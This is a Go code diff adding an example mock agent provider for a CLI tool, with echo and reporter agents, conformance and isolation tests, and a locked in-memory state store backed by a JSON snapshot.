// reporterSpec is the full set: it additionally wires CancelTask +
// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
// difference between the two agents is data you read top-to-bottom, not a branch
// inside a Factory.
var reporterSpec = agent.AgentSpec{
ID: "reporter",
Name: "报表生成器",
Description: "对任意请求产出一份内联 CSV 报表 artifact示范 artifact 下载与任务取消链路。",
FileInput: true,
InputRequired: true,
Send: reporterSend,
GetTask: getTask,
ListTasks: listTasks,
ListContexts: listContexts,
GetContext: getContext,
DeleteContext: deleteContext,
CancelTask: cancelTask,
DownloadArtifact: downloadArtifact,
}
// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
// data, replacing the old state.agentID). The mock ignores rt's network
// methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
// anywhere — the framework's LookupSpec validated ref→spec offline before
// dispatch, so an unknown id never reaches a hook. ──
// echoSend echoes the input; from round 2 on it appends a round marker to prove
// across commands that context memory works.
func echoSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
reply := in.Text
if round > 1 {
reply = fmt.Sprintf("%s第 %d 轮)", in.Text, round)
}
return reply, nil
})
}
// reporterSend produces a fixed inline CSV artifact for any request.
func reporterSend(ctx context.Context, rt agent.Runtime, in agent.SendInput) (*agent.AgentTask, error) {
return newTurn(rt.AgentID(), in, func(round int) (string, []agent.Artifact) {
reply := "报表已生成quarterly_report.csv见 artifacts用 task get --artifact <id> -o <path> 下载)"
if n := len(in.Files); n > 0 {
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
}
return reply, []agent.Artifact{{ID: newID("art"), Kind: "text"}}
})
}
// newTurn factors the shared store flow: start/continue a context, then create a
// task whose body the caller builds per round. The mock task is instantly
// terminal, so there is no "feed input to a running task" scenario — continuing
// via --task-id returns failed_precondition (the request is valid but the target
// state does not satisfy it, so the AI knows to start a new task instead).
func newTurn(agentID string, in agent.SendInput, build func(round int) (reply string, artifacts []agent.Artifact)) (*agent.AgentTask, error) {
if in.TaskID != "" {
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
"example 的任务发出即完成(终态),无法向已有任务续发").
WithParam("--task-id").
WithHint("去掉 --task-id用 --context-id 在同一会话起新一轮任务")
}
ctxID := in.ContextID
if ctxID == "" {
var err error
ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
if err != nil {
return nil, err
}
}
// createTask validates context ownership under the lock (an unknown /
// cross-agent context id is rejected inside with a typed error), computes the
// round, and inserts atomically.
task, err := store.createTask(agentID, ctxID, func(round int) agent.AgentTask {
reply, artifacts := build(round)
return agent.AgentTask{
TaskID: newID("task"),
ContextID: ctxID,
State: agent.StateCompleted,
IsTerminal: true,
Messages: []agent.Message{
{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
},
Artifacts: artifacts,
}
})
if err != nil {
return nil, err
}
return &task, nil
}
func getTask(ctx context.Context, rt agent.Runtime, taskID string) (*agent.AgentTask, error) {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return nil, err
}
return &task, nil
}
func listTasks(ctx context.Context, rt agent.Runtime, contextID string) ([]agent.TaskSummary, error) {
return store.listTasks(rt.AgentID(), contextID), nil
}
func listContexts(ctx context.Context, rt agent.Runtime) ([]agent.ContextSummary, error) {
return store.listContexts(rt.AgentID()), nil
}
func getContext(ctx context.Context, rt agent.Runtime, ctxID string) (*agent.ContextDetail, error) {
return store.getContext(rt.AgentID(), ctxID)
}
func deleteContext(ctx context.Context, rt agent.Runtime, ctxID string) error {
return store.deleteContext(rt.AgentID(), ctxID)
}
// cancelTask is wired only for reporter, so echo never reaches it (the command
// layer gates echo's cancel on the nil field). The mock task is completed the
// moment it is sent, so canceling a terminal task returns a failed_precondition
// typed error rather than pretending success.
func cancelTask(ctx context.Context, rt agent.Runtime, taskID string) error {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return err
}
if task.State.IsTerminal() {
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
"任务 '%s' 已处于终态 %s无法取消", taskID, task.State).
WithHint("终态任务不可取消;用 lark-cli agent task get example:%s %s 查看结果", rt.AgentID(), taskID)
}
return store.setTaskState(taskID, agent.StateCanceled)
}
// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
const reportCSV = "quarter,revenue,cost,margin\n" +
"2026Q1,1250,830,0.336\n" +
"2026Q2,1410,905,0.358\n"
// downloadArtifact is wired only for reporter (echo is gated on the nil field).
// It returns inline Bytes; a real provider would fill URL instead and let the
// command layer SSRF-validate + fetch.
//
// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
// file name, echoed back only as a reference for choosing -o — it is untrusted
// and never participates in constructing the local save path (the save path is
// always -o/SafeOutputPath).
func downloadArtifact(ctx context.Context, rt agent.Runtime, taskID, artifactID string) (*agent.ArtifactData, error) {
task, err := store.getTask(rt.AgentID(), taskID)
if err != nil {
return nil, err
}
for _, a := range task.Artifacts {
if a.ID == artifactID {
return &agent.ArtifactData{
Name: "quarterly_report.csv",
Mime: "text/csv",
Bytes: []byte(reportCSV),
}, nil
}
}
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
}
// truncateTitle takes the first few characters of the message as the context
// title (truncated by rune to avoid cutting a character in half).
func truncateTitle(s string) string {
const max = 20
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}

View File

@@ -0,0 +1,448 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"context"
"encoding/json"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/agent/agenttest"
)
// Register the example provider for this test binary (provider packages are pure
// data now — the top-level agent package's init does this in production, but that
// package cannot be imported here without an import cycle).
func init() { agent.Register(Provider()) }
// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
// and no-ops the network methods (the mock hooks only ever read AgentID()).
type fakeRuntime struct{ agentID string }
func (r fakeRuntime) AgentID() string { return r.agentID }
func (r fakeRuntime) IsBot() bool { return false }
func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
return nil, nil
}
func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agent.FilePart) (json.RawMessage, error) {
return nil, nil
}
// swapStore replaces the package-level store with an isolated instance pointing at
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
func swapStore(t *testing.T) {
t.Helper()
old := store
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
t.Cleanup(func() { store = old })
}
// TestConformance runs the shared conformance suite for both catalog entries.
func TestConformance(t *testing.T) {
agenttest.RunConformance(t, "example", "echo")
}
func TestConformanceReporter(t *testing.T) {
agenttest.RunConformance(t, "example", "reporter")
}
// TestCapabilityMatrixDiverges pins the deliberate difference between the two
// agents, derived purely from which hooks each spec wires.
func TestCapabilityMatrixDiverges(t *testing.T) {
ec := agent.DeriveCapabilities(&echoSpec)
rc := agent.DeriveCapabilities(&reporterSpec)
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
}
if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
}
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
t.Errorf("reporter should have everything enabled, got %+v", rc)
}
}
// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
func TestEchoUnwiredCapabilities(t *testing.T) {
if echoSpec.CancelTask != nil {
t.Error("echo should not wire CancelTask (task_cancel=false)")
}
if echoSpec.DownloadArtifact != nil {
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
}
if echoSpec.FileInput {
t.Error("echo should not accept file input (file_input=false)")
}
}
// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
func TestEchoMultiTurn(t *testing.T) {
swapStore(t)
rt := fakeRuntime{"echo"}
ctx := context.Background()
t1, err := echoSend(ctx, rt, agent.SendInput{Text: "hello"})
if err != nil {
t.Fatalf("first-turn send: %v", err)
}
if t1.State != agent.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
}
if got := agentReply(t, t1); got != "hello" {
t.Fatalf("first-turn echo should be the original text, got %q", got)
}
t2, err := echoSend(ctx, rt, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
if err != nil {
t.Fatalf("follow-up send: %v", err)
}
if t2.ContextID != t1.ContextID {
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
}
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
}
got, err := getTask(ctx, rt, t2.TaskID)
if err != nil {
t.Fatalf("getTask: %v", err)
}
if agentReply(t, got) != "再来(第 2 轮)" {
t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
}
tasks, err := listTasks(ctx, rt, t1.ContextID)
if err != nil {
t.Fatal(err)
}
if len(tasks) != 2 {
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
}
// Every summary carries the enriched fields: a status timestamp and the
// one-line digest (the last agent message). listTasks returns creation order,
// so tasks[0] is the first turn and tasks[1] the second.
for _, ts := range tasks {
if ts.UpdatedAt == "" {
t.Errorf("task summary should carry updated_at: %+v", ts)
}
}
if tasks[0].Summary != "hello" {
t.Errorf("first task summary should be the last agent message %q, got %q", "hello", tasks[0].Summary)
}
if tasks[1].Summary != "再来(第 2 轮)" {
t.Errorf("second task summary should carry the round marker, got %q", tasks[1].Summary)
}
ctxs, err := listContexts(ctx, rt)
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
}
if ctxs[0].TaskCount != 2 || ctxs[0].AwaitingInput {
t.Errorf("context summary should roll up task_count=2, awaiting_input=false, got %+v", ctxs[0])
}
if ctxs[0].UpdatedAt == "" {
t.Error("context summary should carry updated_at")
}
// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
// single most-recent active_task (t2, the latest by updated_at).
detail, err := getContext(ctx, rt, t1.ContextID)
if err != nil {
t.Fatal(err)
}
if detail.TaskCount != 2 {
t.Fatalf("context detail should report task_count=2, got %+v", detail)
}
if detail.AwaitingInput {
t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
}
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
}
if detail.ActiveTask.Summary != "再来(第 2 轮)" {
t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
}
if detail.ActiveTask.UpdatedAt == "" {
t.Error("active_task.updated_at should be populated")
}
}
// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
// and reporter share one package-global store, so a task/context created under
// one agent MUST be invisible to the other agent's runtime (get/delete return a
// not-found error; list returns nothing). Without this guard
// `agent task get example:reporter <echo-task-id>` would leak echo's data.
func TestCrossAgentIsolation(t *testing.T) {
swapStore(t)
ctx := context.Background()
echo := fakeRuntime{"echo"}
reporter := fakeRuntime{"reporter"}
t1, err := echoSend(ctx, echo, agent.SendInput{Text: "secret"})
if err != nil {
t.Fatalf("echo send: %v", err)
}
// reporter must not read/delete echo's task or context.
if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
t.Error("reporter must not read echo's task (cross-agent leak)")
}
if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
t.Error("reporter must not read echo's context (cross-agent leak)")
}
if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
t.Error("reporter must not delete echo's context (cross-agent leak)")
}
if tasks, _ := listTasks(ctx, reporter, ""); len(tasks) != 0 {
t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
}
if ctxs, _ := listContexts(ctx, reporter); len(ctxs) != 0 {
t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
}
// echo still sees its own data, and its context survived reporter's delete.
if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
t.Errorf("echo must still read its own task: %v", err)
}
if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
}
}
// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
func TestStateSurvivesReload(t *testing.T) {
swapStore(t)
rt := fakeRuntime{"echo"}
task, err := echoSend(context.Background(), rt, agent.SendInput{Text: "persist"})
if err != nil {
t.Fatal(err)
}
store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
got, err := getTask(context.Background(), rt, task.TaskID)
if err != nil {
t.Fatalf("getTask after reload: %v", err)
}
if got.ContextID != task.ContextID {
t.Fatalf("task should replay fully after reload: %+v", got)
}
}
// TestReporterArtifactFlow verifies the full artifact chain.
func TestReporterArtifactFlow(t *testing.T) {
swapStore(t)
rt := fakeRuntime{"reporter"}
ctx := context.Background()
task, err := reporterSend(ctx, rt, agent.SendInput{Text: "本季度报表"})
if err != nil {
t.Fatal(err)
}
if len(task.Artifacts) != 1 {
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
}
art := task.Artifacts[0]
if art.ID == "" || art.Kind != "text" {
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
}
data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
if err != nil {
t.Fatalf("downloadArtifact: %v", err)
}
if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
t.Errorf("suggested_name/mime wrong: %+v", data)
}
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
}
if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
t.Fatal("unknown artifact id should return an error")
} else if _, ok := errs.ProblemOf(err); !ok {
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
}
}
// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
// for a terminal task (the mock task is completed the moment it is sent).
func TestReporterCancelTerminal(t *testing.T) {
swapStore(t)
rt := fakeRuntime{"reporter"}
ctx := context.Background()
task, err := reporterSend(ctx, rt, agent.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
err = cancelTask(ctx, rt, task.TaskID)
if err == nil {
t.Fatal("canceling a terminal task should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
}
}
// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
// framework's LookupSpec (with a hint pointing to agent list example).
func TestUnknownCatalogID(t *testing.T) {
_, _, _, err := agent.LookupSpec("example:nonexistent")
if err == nil {
t.Fatal("an unknown catalog id should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
}
}
// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
// unknown context id.
func TestSendGuards(t *testing.T) {
swapStore(t)
rt := fakeRuntime{"echo"}
ctx := context.Background()
_, err := echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
}
_, err = echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
}
}
// TestDeleteContext verifies deleting a context also cleans up its tasks.
func TestDeleteContext(t *testing.T) {
swapStore(t)
rt := fakeRuntime{"echo"}
ctx := context.Background()
task, err := echoSend(ctx, rt, agent.SendInput{Text: "bye"})
if err != nil {
t.Fatal(err)
}
if err := deleteContext(ctx, rt, task.ContextID); err != nil {
t.Fatal(err)
}
if _, err := getTask(ctx, rt, task.TaskID); err == nil {
t.Fatal("after deleting the context its tasks should be unqueryable")
}
ctxs, err := listContexts(ctx, rt)
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 0 {
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
}
}
// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
// active_task is the task with the LATEST updated_at (not the last created), the
// rollup counts tasks and flags awaiting_input, and an input_required active
// task's summary is its pending prompt. It seeds the store directly with
// out-of-creation-order timestamps so "latest updated_at wins" is tested
// independently of insertion order.
func TestContextRollupPicksLatestUpdated(t *testing.T) {
swapStore(t)
store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
store.Contexts["ctx_1"] = &contextRecord{
AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
}
store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agent.AgentTask{
TaskID: "t_a", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
}}
// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agent.AgentTask{
TaskID: "t_b", ContextID: "ctx_1", State: agent.StateInputRequired,
UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agent.InputRequired{Prompt: "按大区还是品类拆?"},
}}
store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agent.AgentTask{
TaskID: "t_c", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
}}
rt := fakeRuntime{"echo"}
detail, err := getContext(context.Background(), rt, "ctx_1")
if err != nil {
t.Fatal(err)
}
if detail.TaskCount != 3 {
t.Errorf("task_count should be 3, got %d", detail.TaskCount)
}
if !detail.AwaitingInput {
t.Error("awaiting_input should be true (t_b is input_required)")
}
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
}
if detail.ActiveTask.Summary != "按大区还是品类拆?" {
t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
}
if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
}
// context list carries the same rollup.
ctxs, err := listContexts(context.Background(), rt)
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 1 {
t.Fatalf("expected 1 context, got %d", len(ctxs))
}
if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || ctxs[0].TaskCount != 3 || !ctxs[0].AwaitingInput {
t.Errorf("context summary rollup wrong: %+v", ctxs[0])
}
}
// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
// and that an input_required task prefers its pending prompt over the last agent
// message.
func TestTaskSummaryText(t *testing.T) {
long := strings.Repeat("字", 250)
got := taskSummaryText(agent.AgentTask{Messages: agentMessage(long)})
if n := len([]rune(got)); n != summaryMaxRunes {
t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
}
prompt := taskSummaryText(agent.AgentTask{
State: agent.StateInputRequired,
InputRequired: &agent.InputRequired{Prompt: "补充预算区间?"},
Messages: agentMessage("忽略我"),
})
if prompt != "补充预算区间?" {
t.Errorf("input_required summary should be the pending prompt, got %q", prompt)
}
}
// agentMessage builds a single agent-role text message for seeding task fixtures.
func agentMessage(text string) []agent.Message {
return []agent.Message{{Role: "agent", Parts: []agent.Part{{Type: "text", Text: text}}}}
}
// agentReply returns the first text reply from the agent role in the task.
func agentReply(t *testing.T, task *agent.AgentTask) string {
t.Helper()
for _, m := range task.Messages {
if m.Role != "agent" {
continue
}
for _, part := range m.Parts {
if part.Type == "text" {
return part.Text
}
}
}
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
return ""
}

418
agent/example/state.go Normal file
View File

@@ -0,0 +1,418 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"os"
"path/filepath"
"sort"
"sync"
"time"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/vfs"
)
// ============================================================================
// In-memory state machine (teaching focus: concurrency safety of package-level
// state + the CLI process boundary)
//
// A real provider's context/task state lives on the server, so the adapter is
// naturally stateless; example is a pure mock and must manage state itself. Two
// disciplines the integrator needs to know:
//
// 1. Concurrency safety: package-level mutable state must be locked. A single
// coarse-grained Mutex covers all reads and writes here — the mock does not
// chase throughput; correctness comes first.
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
// in-memory map does not survive a single command — after `send`, a
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
// demo chain work across commands. A real provider neither needs nor should
// have this layer — it is a mock-only demo device.
//
// Note that the snapshot is loaded lazily (only on the first real read/write of
// state): provider registration is a pure declarative Register(Provider) call
// (see agent/register.go) with no construction and no side effects, so nothing
// touches store at registration time — the snapshot is read on the first hook
// invocation, not at init.
// ============================================================================
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
// + creation sequence number (list output sorts by creation order to guarantee
// stable enumeration).
type taskRecord struct {
AgentID string `json:"agent_id"`
Seq int `json:"seq"`
Task agent.AgentTask `json:"task"`
}
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
// demonstrate "context memory".
type contextRecord struct {
AgentID string `json:"agent_id"`
ContextID string `json:"context_id"`
CreatedAt string `json:"created_at"`
Title string `json:"title,omitempty"`
Seq int `json:"seq"`
TaskIDs []string `json:"task_ids"`
}
// memoryStore is the package-level state machine itself: mu covers all fields;
// path is the JSON snapshot location; loaded ensures the snapshot is read only
// once, on first access.
type memoryStore struct {
mu sync.Mutex
path string
loaded bool
Contexts map[string]*contextRecord `json:"contexts"`
Tasks map[string]*taskRecord `json:"tasks"`
NextSeq int `json:"next_seq"`
}
// store is the package-level singleton. Tests use swapStoreForTest to replace it
// with an instance pointing at t.TempDir, avoiding cross-contamination between
// tests and between tests and the local demo state.
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
func newMemoryStore(path string) *memoryStore {
return &memoryStore{
path: path,
Contexts: map[string]*contextRecord{},
Tasks: map[string]*taskRecord{},
}
}
// loadLocked lazily reads in the snapshot (the caller must already hold the
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
// mock's demo data is not worth erroring over, so it just starts fresh.
func (s *memoryStore) loadLocked() {
if s.loaded {
return
}
s.loaded = true
data, err := vfs.ReadFile(s.path)
if err != nil {
return
}
var snap memoryStore
if json.Unmarshal(data, &snap) != nil {
return
}
if snap.Contexts != nil {
s.Contexts = snap.Contexts
}
if snap.Tasks != nil {
s.Tasks = snap.Tasks
}
s.NextSeq = snap.NextSeq
}
// saveLocked writes the current state back to the snapshot (the caller must
// already hold the lock). A write failure returns a typed internal error
// (storage subtype) — the mock does not swallow errors either: silently losing
// state would make the next command report "task not found", which is harder to
// diagnose than a clear error.
func (s *memoryStore) saveLocked() error {
data, err := json.MarshalIndent(s, "", " ")
if err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
}
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
}
return nil
}
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
// deliberately aligns with the command layer's meta.next interpolation
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
// string "the AI copies and runs", and an id with shell metacharacters would
// cause the whole hint to be suppressed.
func newID(prefix string) string {
var b [6]byte
if _, err := rand.Read(b[:]); err != nil {
// crypto/rand being unavailable is an environment-level failure; the mock
// degrades to a timestamp that still satisfies the character set.
return prefix + "_" + time.Now().UTC().Format("20060102150405")
}
return prefix + "_" + hex.EncodeToString(b[:])
}
// createContext creates a new context and returns its id (the first-turn send goes here).
func (s *memoryStore) createContext(agentID, title string) (string, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
id := newID("ctx")
s.NextSeq++
s.Contexts[id] = &contextRecord{
AgentID: agentID,
ContextID: id,
CreatedAt: time.Now().UTC().Format(time.RFC3339),
Title: title,
Seq: s.NextSeq,
}
return id, s.saveLocked()
}
// createTask appends a task under ctxID: validate context ownership → compute
// the round (which task number in this conversation) → call build under the lock
// to construct the task → insert and write the snapshot. build runs inside the
// lock to guarantee "compute the round" and "store the task" are atomic, so two
// concurrent sends never get the same round.
// An unknown / cross-agent context id returns a typed validation error (teaching
// point: every error a provider returns must be typed — a bare error would land
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
// argument", semantically invalid_argument/exit 2, and the AI relies on this
// classification to decide between "fix the argument and retry" and "report an
// environment failure").
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
}
task := build(len(ctx.TaskIDs) + 1)
// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
// created_at == updated_at; a real provider bumps updated_at on every status
// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
// lexicographic order equals chronological order (relied on by the rollup).
now := time.Now().UTC().Format(time.RFC3339)
task.CreatedAt = now
task.UpdatedAt = now
s.NextSeq++
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
return task, s.saveLocked()
}
// getTask fetches a task snapshot by id (returns a copy by value, so the command
// layer's in-place edits like normalizeTask do not write through to store). A
// cross-agent task is treated as "not found", without leaking another agent's state.
func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok || rec.AgentID != agentID {
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 task id '%s'example:%s 名下不存在)", taskID, agentID).
WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
}
return rec.Task, nil
}
// setTaskState updates a task's state (used by reporter's cancel).
func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
}
rec.Task.State = state
rec.Task.IsTerminal = state.IsTerminal()
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
return s.saveLocked()
}
// listTasks lists an agent's task summaries, optionally filtered by contextID
// (empty string means no filter), output in creation order. IsTerminal is
// carried along here for convenience, but the command layer re-derives it from
// State via normalizeTask* (single source), so the integrator need not worry
// about this field.
func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*taskRecord, 0, len(s.Tasks))
for _, rec := range s.Tasks {
if rec.AgentID != agentID {
continue
}
if contextID != "" && rec.Task.ContextID != contextID {
continue
}
recs = append(recs, rec)
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
out := make([]agent.TaskSummary, 0, len(recs))
for _, rec := range recs {
out = append(out, taskSummaryOf(rec.Task))
}
return out
}
// listContexts lists an agent's context summaries, output in creation order.
func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*contextRecord, 0, len(s.Contexts))
for _, ctx := range s.Contexts {
if ctx.AgentID == agentID {
recs = append(recs, ctx)
}
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
out := make([]agent.ContextSummary, 0, len(recs))
for _, ctx := range recs {
updatedAt, taskCount, awaiting, _ := s.contextRollupLocked(ctx)
out = append(out, agent.ContextSummary{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
UpdatedAt: updatedAt,
Title: ctx.Title,
TaskCount: taskCount,
AwaitingInput: awaiting,
})
}
return out
}
// getContext returns a context's detail: metadata plus a rollup (updated_at,
// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
// with the latest updated_at; nil for an empty context). It deliberately does NOT
// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
// `agent task list --context-id`.
